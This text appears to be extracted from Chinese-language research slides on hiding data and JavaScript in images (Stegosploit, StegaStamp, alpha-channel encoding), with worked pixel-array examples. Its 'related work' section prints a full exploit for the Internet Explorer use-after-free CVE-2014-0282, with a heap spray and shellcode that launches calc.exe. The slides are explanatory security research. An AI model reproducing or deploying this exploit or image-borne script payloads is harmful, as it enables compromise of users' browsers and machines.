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技术背景

1. 漏洞挖掘与利用

- Firefox 3.5 Font Tags Buffer Overflow Exploit - CVE-2009-2478

- IE's CInput Use-After-Free vulnerability (CVE-2014-0282) 

https://github.com/amichael7/python-stegosploit

- exploit CVE-2013-3346

2. 攻击方法
- 嵌入恶意执行代码xss、javescipt，文件访问权限
- Goggle Colab、AWS Cloud 基于云的算法模型训练
- 嵌入在开源代码中，GitHub、Gitee、Gitlab

3. 身份验真
图片非明码token，登录验证

4. 对抗样本生成

5. 嵌入商品信息
图书出版、商场、博物馆、

6. 信息载体

常见几种跨站脚本漏洞安全测试
http://www.xwood.net/_site_domain_/_root/5870/5874/t_c268566.html
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相关工作

function H5(){this.d=[];this.m=new Array();this.f=new Array()}H5.prototype.flat 
ten=function(){for(var f=0;f<this.d.length;f++){var n=this.d[f];if(typeof(n)==' 
number'){var c=n.toString(16);while(c.length<8){c='0'+c}var l=function(a){retur 
n(parseInt(c.substr(a,2),16))};var g=l(6),h=l(4),k=l(2),m=l(0);this.f.push(g);t 
his.f.push(h);this.f.push(k);this.f.push(m)}if(typeof(n)=='string'){for(var d=0 
;d<n.length;d++){this.f.push(n.charCodeAt(d))}}}};H5.prototype.fill=function(a) 
{for(var c=0,b=0;c<a.data.length;c++,b++){if(b>=8192){b=0}a.data[c]=(b<this.f.l 
ength)?this.f[b]:255}};H5.prototype.spray=function(d){this.flatten();for(var b= 
0;b<d;b++){var c=document.createElement('canvas');c.width=131072;c.height=1;var 
a=c.getContext('2d').createImageData(c.width,c.height);this.fill(a);this.m[b]= 
a}};H5.prototype.setData=function(a){this.d=a};var flag=false;var heap=new H5() 
;try{location.href='ms-help:'}catch(e){}function spray(){var a='\xfc\xe8\x89\x0 
0\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x 
28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\
xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a 
\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x3 
1\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x 
75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\
x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb 
\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf 
0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\x 
bb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00';var 
c=[];for(var b=0;b<1104;b+=4){c.push(1371756628)}c.push(1371756627);c.push(137 
1351263);var f=[1371756626,215,2147353344,1371367674,202122408,4294967295,20212 
2400,202122404,64,202116108,202121248,16384];var d=c.concat(f);d.push(a);heap.s 
etData(d);heap.spray(256)}function changer(){var c=new Array();for(var a=0;a<10 
0;a++){c.push(document.createElement('img'))}if(flag){document.getElementById(' 
fm').innerHTML='';CollectGarbage();var b='\u2020\u0c0c';for(var a=4;a<110;a+=2) 
{b+='\u4242'}for(var a=0;a<c.length;a++){c[a].title=b}}}function run(){spray(); 
document.getElementById('c2').checked=true;document.getElementById('c2').onprop 
ertychange=changer;flag=true;document.getElementById('fm').reset()}setTimeout(r 
un,1000);

（1）Exploit code for CVE-2014-0282.[1]

- 通过对图像的三像素值进行编码操作：按照像素值大小
分为8个通道，在每个通道上增加字符串编码；

- 嵌入JavaScript脚本（现已修复）

https://github.com/Charmve/PyStegosploit个人漏洞复现

JavaScript 脚本
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相关工作

- 修改图片编码协议对应值，如：图像大小、起始位置偏
移量等；

- 在图像数据区嵌入JavaScript脚本（现已修复）

D:\download\jspics文件路径

GIF

BMP
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相关工作

StegaStamp：Invisible Hyperlinks in Physical Photographs [2]

- 通过深度学习方法，进行图像变形、融合、加噪等操作，将字符串
扩充到整个像素区域；

- 优点：编解码更安全、可靠；泛化能力较好；
- 缺点：目前最好的方法只能嵌入7个字符

4



5

描述：图片中嵌入url，解析图
片中的信息，并分析其用途，例
如跳转网页、交换token

Demo： https://charmve.github.io/xss-test/examples/showcase/

https://charmve.github.io/xss-test/examples/showcase/


[136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255, 

232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255, 

235, 206, 148, 255, 235, 206, 148, 255, 234, 206, 154, 255, 

234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255, 

221, 181, 132, 255, 221, 181, 132, 255, 214, 175, 127, 255, 

214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255, 

210, 171, 125, 255, 210, 171, 125, 255, 210, 170, 124, 255, 

210, 170, 124, 255, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

[136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246, 

232, 208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247, 

235, 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245, 

234, 206, 154, 245, 237, 200, 148, 249, 237, 200, 148, 246, 

221, 181, 132, 252, 221, 181, 132, 245, 214, 175, 127, 245, 

214, 175, 127, 245, 222, 183, 135, 249, 222, 183, 135, 251, 

210, 171, 125, 246, 210, 171, 125, 245, 210, 170, 124, 245, 

210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

Source:

Cover:

Message:

[116, 101, 115, 116]

test

Demo： https://charmve.github.io/xss-test/examples/showcase/
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Encode

64×64

test

[136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255, 

232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255, 

235, 206, 148, 255, 235, 206, 148, 255, 234, 206, 154, 255, 

234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255, 

221, 181, 132, 255, 221, 181, 132, 255, 214, 175, 127, 255, 

214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255, 

210, 171, 125, 255, 210, 171, 125, 255, 210, 170, 124, 255, 

210, 170, 124, 255, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

[116, 101, 115, 116]

modMessage (22)

[4, 6, 1, 0, 0, 2, 1, 3, 0, 0, 4, 1, 7, 0, 0, 0, 4, 6, 1, 0, 0]

qS (22)

[249, 251, 246, 245, 245, 247, 246, 248, 245, 245, 249, 246, 252, 245, 245, 245, 249, 251, 246, 245, 245]

UNICODE

[136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246, 

232, 208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247, 

235, 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245, 

234, 206, 154, 245, 237, 200, 148, 249, 237, 200, 148, 246, 

221, 181, 132, 252, 221, 181, 132, 245, 214, 175, 127, 245, 

214, 175, 127, 245, 222, 183, 135, 249, 222, 183, 135, 251, 

210, 171, 125, 246, 210, 171, 125, 245, 210, 170, 124, 245, 

210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

Source:

Cover

Message:

Write qS into Image Alpha Channel

Create qS

★
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message 编码

modMessage (21) [4, 6, 1, 0, 0, 2, 1, 3, 0, 0, 4, 1, 7, 0, 0, 0, 4, 6, 1, 0, 0]

Message:

[116, 101, 115, 116]

test

qS (21) [249, 251, 246, 245, 245, 247, 246, 248, 245, 245, 249, 246, 252, 245, 245, 245, 249, 251, 246, 245, 245, 245]

Unicode

①

②
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Produce modMessage★

初始值

t = 3;

threshold = 1;

codeUnitSize = 16;

prime = 11;

boudlesPerChar = 5;

overlapping = 1

举例： t -> 116 [4, 6, 1, 0, 0]
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Write Image Data
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modMessage reduction



Decode

modMessage.push = data(i) – (255-prime+1)

= data(i) – (255-11+1) 

= data(i) - 245

[136, 136, 136, 249, 136, 136, 136, 251, 232, 208, 159, 246, 

232, 208, 159, 245, 237, 203, 143, 245, 237, 203, 143, 247, 

235, 206, 148, 246, 235, 206, 148, 248, 234, 206, 154, 245, 

234, 206, 154, 245, 237, 200, 148, 249, 237, 200, 148, 246, 

221, 181, 132, 252, 221, 181, 132, 245, 214, 175, 127, 245, 

214, 175, 127, 245, 222, 183, 135, 249, 222, 183, 135, 251, 

210, 171, 125, 246, 210, 171, 125, 245, 210, 170, 124, 245, 

210, 170, 124, 245, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

Cover:

qS (21) [249, 251, 246, 245, 245, 247, 246, 248, 245, 245, 249, 246, 252, 245, 245, 245, 249, 251, 246, 245, 245, 245]

modMessage (21) [4, 6, 1, 0, 0, 2, 1, 3, 0, 0, 4, 1, 7, 0, 0, 0, 4, 6, 1, 0, 0]

[112] prime = util.findNextPrime(Math.pow(2,t)),
// defatultly t = 3

★

[136, 136, 136, 255, 136, 136, 136, 255, 232, 208, 159, 255, 

232, 208, 159, 255, 237, 203, 143, 255, 237, 203, 143, 255, 

235, 206, 148, 255, 235, 206, 148, 255, 234, 206, 154, 255, 

234, 206, 154, 255, 237, 200, 148, 255, 237, 200, 148, 255, 

221, 181, 132, 255, 221, 181, 132, 255, 214, 175, 127, 255, 

214, 175, 127, 255, 222, 183, 135, 255, 222, 183, 135, 255, 

210, 171, 125, 255, 210, 171, 125, 255, 210, 170, 124, 255, 

210, 170, 124, 255, 237, 195, 150, 255, 237, 195, 150, 255, 

248, 209, 157, 255, …]

Source:

Message:

[116, 101, 115, 116]

test

Unicode
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Message 编解码

互逆

encode
decode

13



Have A Try

Demo： https://charmve.github.io/xss-test/examples/showcase/

test_img1

test_img2

Addition: Hidden message
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Thanks for Your
Listening

未来安全研究院 张伟
zhangwei13@360.cn


